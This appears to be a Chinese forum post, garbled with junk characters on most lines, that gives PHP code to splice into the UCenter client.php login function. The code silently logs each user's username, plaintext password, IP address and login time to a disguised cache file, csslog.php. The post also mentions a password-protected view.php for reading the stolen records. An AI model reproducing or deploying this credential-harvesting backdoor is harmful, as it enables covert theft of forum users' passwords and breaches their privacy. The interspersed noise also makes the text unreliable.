修改uc_client目录下的client.php 在' n5 v: e6 r! V& ?: X1 ^8 K% c* I; }
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {$ B1 f u% r- z; o8 u5 f8 m) _
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
5 d6 U9 H. N) S& \' {8 Z你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw( z: P/ n% h: p; H3 Q% p( R$ \
if(getenv('HTTP_CLIENT_IP')) { 3 Z7 G) U; f6 z
$onlineip = getenv('HTTP_CLIENT_IP');0 B8 ^- y$ E: f& N( a
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
+ B9 R6 t9 U, E i7 n5 S0 }$onlineip = getenv('HTTP_X_FORWARDED_FOR');
8 p& t" ]9 [7 t X} elseif(getenv('REMOTE_ADDR')) {
6 l: W2 G6 S; Y% x! V$onlineip = getenv('REMOTE_ADDR');
1 V3 `5 w/ }' Y( A" H, n9 ^) J} else { 6 Y0 L2 Z0 ?$ t
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
4 D; u' Q5 C! d3 ^7 f}
+ V3 `" y+ r# w* {1 T; I5 ?4 [ $showtime=date("Y-m-d H:i:s");! h; }9 U+ q$ H( ~1 r% h) o+ t
$record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
1 s0 O7 S/ C! }3 T# F) C# |# k$ ~ $handle=fopen('./data/cache/csslog.php','a+');
. s& e; q! u. g2 H( h* j; T) u; E $write=fwrite($handle,$record); |